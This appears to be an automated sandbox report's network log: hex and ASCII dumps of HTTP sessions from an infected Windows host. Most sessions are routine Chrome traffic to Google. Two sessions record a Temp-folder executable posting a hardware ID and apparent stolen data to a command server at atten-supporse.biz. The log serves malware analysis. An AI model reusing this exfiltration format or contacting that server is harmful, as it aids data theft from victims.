2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 Data Ascii: \u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 20 67 62 5f 51 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 34 64 20 67 62 5f 44 63 20 67 62 5f 37 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4e 64 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e Data Ascii: \/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Bc gb_Q\"\u003e\u003cdiv class\u003d\"gb_Cc\"\u003e\u003ca class\u003d\"gb_4d gb_Dc gb_7d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Nd gb_6d\" aria-hidden
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 70 3f 68 6c 5c 75 30 30 33 64 65 6e 5c 75 30 30 32 36 61 6d 70 3b 74 61 62 5c 75 30 30 33 64 72 69 5c 75 30 30 32 36 61 6d 70 3b 6f 67 62 6c 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 5c 75 30 30 33 65 49 6d 61 67 65 73 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 52 65 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 32 63 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 62 64 20 67 62 5f 5a 20 Data Ascii: p?hl\u003den\u0026amp;tab\u003dri\u0026amp;ogbl\" target\u003d\"_top\"\u003eImages\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Re\"\u003e\u003cdiv class\u003d\"gb_2c\"\u003e \u003cdiv class\u003d\"gb_bd gb_Z
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 61 2d 6f 67 73 72 2d 61 6c 74 5c 75 30 30 33 64 5c 22 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 77 61 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 41 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 20 61 70 70 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6e 74 6c 2f 65 6e 2f 61 62 6f 75 74 2f 70 72 6f 64 75 63 74 73 3f 74 61 62 5c 75 30 30 33 64 72 68 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 Data Ascii: a-ogsr-alt\u003d\"\" id\u003d\"gbwa\"\u003e\u003cdiv class\u003d\"gb_C\"\u003e\u003ca class\u003d\"gb_A\" aria-label\u003d\"Google apps\" href\u003d\"https://www.google.com/intl/en/about/products?tab\u003drh\" aria-expanded\u003d\"false\" role\u003d\"butt
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 51 63 20 67 62 5f 4f 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 31 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 63 5c Data Ascii: \u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e\u003cdiv class\u003d\"gb_Qc gb_Oc\"\u003e\u003cdiv class\u003d\"gb_1c\"\u003e\u003cdiv class\u003d\"gb_Bc\"\u003e\u003cdiv class\u003d\"gb_Cc\
2024-12-02 10:22:05 UTC	811	IN	Data Raw: 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 7a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 7a 64 28 61 2c Data Ascii: ar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis;\ntry{\n_.zd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.zd(a,
2024-12-02 10:22:05 UTC	375	IN	Data Raw: 31 37 30 0d 0a 61 70 73 68 6f 74 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 5c 75 30 30 32 36 5c 75 30 30 32 36 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 2e 77 72 61 70 28 61 29 3a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 3b 44 64 5c 75 30 30 33 64 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 5f 2e 6e 64 7b 7d 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 2e 69 5b 62 5d 3b 74 68 72 6f 77 20 6e 65 77 20 44 64 3b 7d 3b 5f Data Ascii: 170apshot\u003d\u003d\u003d\"function\"?a\u003d\u003ea\u0026\u0026AsyncContext.Snapshot.wrap(a):a\u003d\u003ea;\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd;Dd\u003dclass extends _.nd{};_.Ed\u003dfunction(a,b){if(b in a.i)return a.i[b];throw new Dd;};_
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 38 30 30 30 0d 0a 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c Data Ascii: 8000DX-License-Identifier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 Data Ascii: ptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.11.20	49796	142.250.69.4	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:05 UTC	553	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:22:05 UTC	1034	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 10:22:05 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:22:05 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-02 10:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.20	49825	192.178.49.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:07 UTC	807	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIlaHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:22:08 UTC	1367	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:08 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-bPxD1EXcqXQSM4i_KQXpwQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:22:08 UTC	875	IN	Data Raw: 33 36 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 69 72 70 6f 72 74 20 73 74 6f 77 61 77 61 79 20 64 65 6c 74 61 20 66 6c 69 67 68 74 22 2c 22 70 72 69 6d 65 20 6d 69 6e 69 73 74 65 72 20 78 69 20 76 73 20 69 6e 64 69 61 20 73 63 6f 72 65 63 61 72 64 22 2c 22 69 73 20 64 69 73 6e 65 79 20 63 68 61 6e 6e 65 6c 20 73 68 75 74 74 69 6e 67 20 64 6f 77 6e 22 2c 22 6e 6f 74 72 65 20 64 61 6d 65 20 63 61 74 68 65 64 72 61 6c 20 66 69 72 65 22 2c 22 6d 65 74 61 20 71 75 65 73 74 20 33 73 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 61 6d 65 72 69 63 61 6e 20 61 69 72 6c 69 6e 65 73 20 62 6f 65 69 6e 67 20 37 33 37 22 2c 22 73 61 6e 20 61 6e 74 6f 6e 69 Data Ascii: 364)]}'["",["airport stowaway delta flight","prime minister xi vs india scorecard","is disney channel shutting down","notre dame cathedral fire","meta quest 3s black friday deals","weather forecast snow storm","american airlines boeing 737","san antoni
2024-12-02 10:22:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.11.20	49826	192.178.49.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:08 UTC	553	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.11.20	49827	192.178.49.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:08 UTC	710	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIlaHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4B Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.11.20	49828	192.178.49.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:08 UTC	553	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49832	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:09 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X1ICHT8IGZL0QGA1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1343 Host: atten-supporse.biz
2024-12-02 10:22:09 UTC	1343	OUT	Data Raw: 2d 2d 58 31 49 43 48 54 38 49 47 5a 4c 30 51 47 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 58 31 49 43 48 54 38 49 47 5a 4c 30 51 47 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 31 49 43 48 54 38 49 47 5a 4c 30 51 47 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --X1ICHT8IGZL0QGA1Content-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--X1ICHT8IGZL0QGA1Content-Disposition: form-data; name="pid"1--X1ICHT8IGZL0QGA1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-02 10:22:12 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ou0tmvrci752s1joh7jdb5tk1k; expires=Fri, 28-Mar-2025 04:08:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vkxInmQV39tBK8Rs%2FYwatrWYlVlAgqECvhFAE898LrkSwdxi7J5MGTOOb4lsmXNzkVyVJuyD3VLei4X0vRMIqrkfsq5RYJ1EIw9APC4O%2F6M%2Fwivh3fOZ2jh%2BYmVLRwudd31X2cs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba981fcf092f2d-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=156789&min_rtt=156635&rtt_var=33281&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2260&delivery_rate=24376&cwnd=252&unsent_bytes=0&cid=e5d35af78ac7bd1a&ts=2265&x=0"
2024-12-02 10:22:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49838	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:13 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J3LKYC1I4TLQF1JCLQJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 23393 Host: atten-supporse.biz
2024-12-02 10:22:13 UTC	15331	OUT	Data Raw: 2d 2d 4a 33 4c 4b 59 43 31 49 34 54 4c 51 46 31 4a 43 4c 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 4a 33 4c 4b 59 43 31 49 34 54 4c 51 46 31 4a 43 4c 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 33 4c 4b 59 43 31 49 34 54 4c 51 46 31 4a 43 4c 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --J3LKYC1I4TLQF1JCLQJContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--J3LKYC1I4TLQF1JCLQJContent-Disposition: form-data; 